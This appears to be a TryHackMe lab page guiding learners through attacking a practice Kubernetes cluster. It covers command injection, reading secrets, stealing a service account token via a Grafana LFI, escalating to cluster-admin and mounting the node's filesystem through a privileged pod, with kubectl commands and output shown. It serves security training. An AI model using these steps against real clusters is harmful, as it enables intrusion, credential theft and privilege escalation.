Room Banner

Insekube

Exploiting Kubernetes by leveraging a Grafana LFI vulnerability

easy

120 min

Room progress ( 0% )

To access material, start machines and answer questions login.

Task 1Introduction

The learning objectives for this room are:

  • Interacting with the cluster using kubectl
  • Reading Kubernetes secrets
  • Doing recon inside the cluster
  • Switching service accounts to escalate your privileges
  • Lateral movement into other workloads
  • Gaining access to the Kubernetes nodes

We assume basic knowledge of the Kubernetes architecture and some experience running Kubernetes administration tools like kubectl.

Disclaimer: Due to this room running on a VM it uses minikube which is not exactly the same as running a fully fledged Kubernetes cluster so you might experience some minor differences with a real cluster. 

This machine can take a while to boot up (Give it 10 minutes)

Scan the machine. (If you are unsure how to tackle this, I recommend checking out the Nmap room)

Answer the questions below
What ports are open? (comma separated)

Visit the website, it takes a host and returns the output of a ping command.

Use command injection to get a reverse shell. For more information on command injection attacks take a look at this room

You will find the flag in an environment variable.

Answer the questions below
What is flag 1?

Kubernetes exposes an HTTP API to control the cluster. All resources in the cluster can be accessed and modified through this API. The easiest way to interact with the API is to use the kubectl CLI. You could also interact with the API directly using curl or wget if you don't have write access and kubectl is not already present, Here is a good article on that.

The kubectl install instructions can be found here. However, the binary is located in the /tmp directory. In the event you run into a scenario where the binary is not available, it's as simple as downloading the binary to your machine and serving it (with a python HTTP server for example) so it is accessible from the container.

Now let's move to the /tmp directory where the kubectl  is conveniently located for you and try the kubectl get pods command. You'll notice a  forbidden error which means the service account running this pod does not have enough permissions.

Insekube
           challenge@syringe:~$ cd /tmp

challenge@syringe:/tmp$ ls -la
total 45504
drwxrwxrwt 1 root root     4096 Jan 30 19:56 .
drwxr-xr-x 1 root root     4096 Feb 17 20:03 ..
-rwxrwxr-x 1 root root 46587904 Jan 30 19:17 kubectl

challenge@syringe:/tmp$ ./kubectl get pods
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:syringe" cannot list resource "pods" in API group "" in the namespace "default"
        

You can check your permissions using kubectl auth can-i --list. The results show this service account can list and get secrets in this namespace.

Insekube
           challenge@syringe:/tmp$ ./kubectl auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
secrets                                         []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
        
Answer the questions below
No answer needed

Kubernetes stores secret values in resources called Secrets these then get mounted into pods either as environment variables or files.

You can use kubectl to list and get secrets. The content of the secret is stored base64 encoded.

You will find flag 2 in a Kubernetes secret.

Insekube
           challenge@syringe:/tmp$ ./kubectl get secrets
NAME                    TYPE                                  DATA   AGE
default-token-8bksk     kubernetes.io/service-account-token   3      41d
developer-token-74lck   kubernetes.io/service-account-token   3      41d
secretflag              Opaque                                1      41d
syringe-token-g85mg     kubernetes.io/service-account-token   3      41d
        

Use kubectl describe secret secretflag to list all data contained in the secret. Notice the flag data isn't being outputted with this command, so let's choose the JSON output format with: kubectl get secret secretflag -o 'json'

Answer the questions below
What is flag 2?

Some interesting Kubernetes objects to look for would be nodesdeployments, services, ingress, jobs... But the service account you control does not have access to any of them.

However, by default Kubernetes creates environment variables containing the host and port of the other services running in the cluster.

Running env you will see there is a Grafana service running in the cluster.

Insekube
           challenge@syringe:/tmp$ env
KUBERNETES_SERVICE_PORT_HTTPS=443
GRAFANA_SERVICE_HOST=10.108.133.228
KUBERNETES_SERVICE_PORT=443
HOSTNAME=syringe-79b66d66d7-7mxhd
SYRINGE_PORT=tcp://10.99.16.179:3000
GRAFANA_PORT=tcp://10.108.133.228:3000
SYRINGE_SERVICE_HOST=10.99.16.179
SYRINGE_PORT_3000_TCP=tcp://10.99.16.179:3000
GRAFANA_PORT_3000_TCP=tcp://10.108.133.228:3000
PWD=/tmp
SYRINGE_PORT_3000_TCP_PROTO=tcp
HOME=/home/challenge
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
LS_COLORS=
GOLANG_VERSION=1.15.7
****************************************
SHLVL=2
SYRINGE_PORT_3000_TCP_PORT=3000
GRAFANA_PORT_3000_TCP_PORT=3000
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
GRAFANA_SERVICE_PORT=3000
SYRINGE_PORT_3000_TCP_ADDR=10.99.16.179
SYRINGE_SERVICE_PORT=3000
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
GRAFANA_PORT_3000_TCP_PROTO=tcp
PATH=/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
OLDPWD=/home/challenge
GRAFANA_PORT_3000_TCP_ADDR=10.108.133.228
_=/usr/bin/env
        

Kubernetes will create a hostname for the name of the service so you can access the service at http://grafana:3000 or the Grafana endpoint in my case http://10.108.133.228:3000.

Do some enumeration to find out the version. Curl the /login page and look for the version.

Google for known CVEs for this Grafana version. It is vulnerable to LFI (Local File Inclusion). 

Answer the questions below

What is the version of Grafana running on the machine?

What is the CVE you've found?

Kubernetes stores the token of the service account running a pod in /var/run/secrets/kubernetes.io/serviceaccount/token.   

Use the LFI vulnerability to extract the token. The token is a JWT signed by the cluster.

Use the --token flag in kubectl to use the new service account. Once again use kubectl to check the permissions of this account.

Insekube
           challenge@syringe:/tmp$ ./kubectl auth can-i --list --token=${TOKEN}
Resources                                       Non-Resource URLs                     Resource Names   Verbs
*.*                                             []                                    []               [*]
                                                [*]                                   []               [*]
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
        

The account can do * verb on *.* resource. This means it is a cluster-admin. With this service account, you will be able to run any kubectl command. For example, try getting a list of pods.

Insekube
           challenge@syringe:/tmp$ ./kubectl get pods --token=${TOKEN}
NAME                       READY   STATUS    RESTARTS       AGE
grafana-57454c95cb-v4nrk   1/1     Running   10 (17d ago)   41d
syringe-79b66d66d7-7mxhd   1/1     Running   1 (17d ago)    18d
        

Use kubectl exec to get a shell in the Grafana pod. You will find flag 3 in the environment variables.

Insekube
           challenge@syringe:/tmp$ ./kubectl exec -it grafana-57454c95cb-v4nrk --token=${TOKEN} -- /bin/bash
Unable to use a TTY - input is not a terminal or the right kind of file
hostname
grafana-57454c95cb-v4nrk
        
Answer the questions below
What is the name of the service account running the Grafana service?

How many pods are running?

What is flag 3?

You can now close the Grafana pod shell and continue using the first one since it is more stable.

Having admin access to the cluster you can create any resources you want. This article explains how to get access to the Kubernetes nodes by running a pod that mounts the node's file system.

You can create a "bad" pod based on their first case example. You will need a slight modification because the VM does not have an internet connection, therefore it is not able to pull the ubuntu container image. The image is available in minikube's local docker registry therefore you just need to tell Kubernetes to use the local version instead of pulling it. You can achieve this by adding imagePullPolicy: Never to your "bad" pod container. Once that is done you can run kubectl apply to create the pod. Then kubectl exec into the new pod, you will find the node's file system mounted on /host.

Insekube
           challenge@syringe:/tmp$ ./kubectl apply -f privesc.yml --token=${TOKEN}
pod/everything-allowed-exec-pod created

challenge@syringe:/tmp$ ./kubectl get pods --token=${TOKEN}
NAME                          READY   STATUS    RESTARTS       AGE
everything-allowed-exec-pod   1/1     Running   0              61s
grafana-57454c95cb-v4nrk      1/1     Running   10 (18d ago)   41d
syringe-79b66d66d7-7mxhd      1/1     Running   1 (18d ago)    18d
        
Insekube
           challenge@syringe:/tmp$ ./kubectl exec -it everything-allowed-exec-pod --token=${TOKEN} -- /bin/bash
Unable to use a TTY - input is not a terminal or the right kind of file
hostname
minikube
        

Get the root flag!

Answer the questions below
What is root.txt?

Created by

Room Type

Free Room. Anyone can deploy virtual machines in the room (without being subscribed)!

Users in Room

4,156

Created

1263 days ago

Ready to learn Cyber Security? Create your free account today!

TryHackMe provides free online cyber security training to secure jobs & upskill through a fun, interactive learning environment.

Already have an account? Log in

We use cookies to ensure you get the best user experience. For more information contact us.

Read more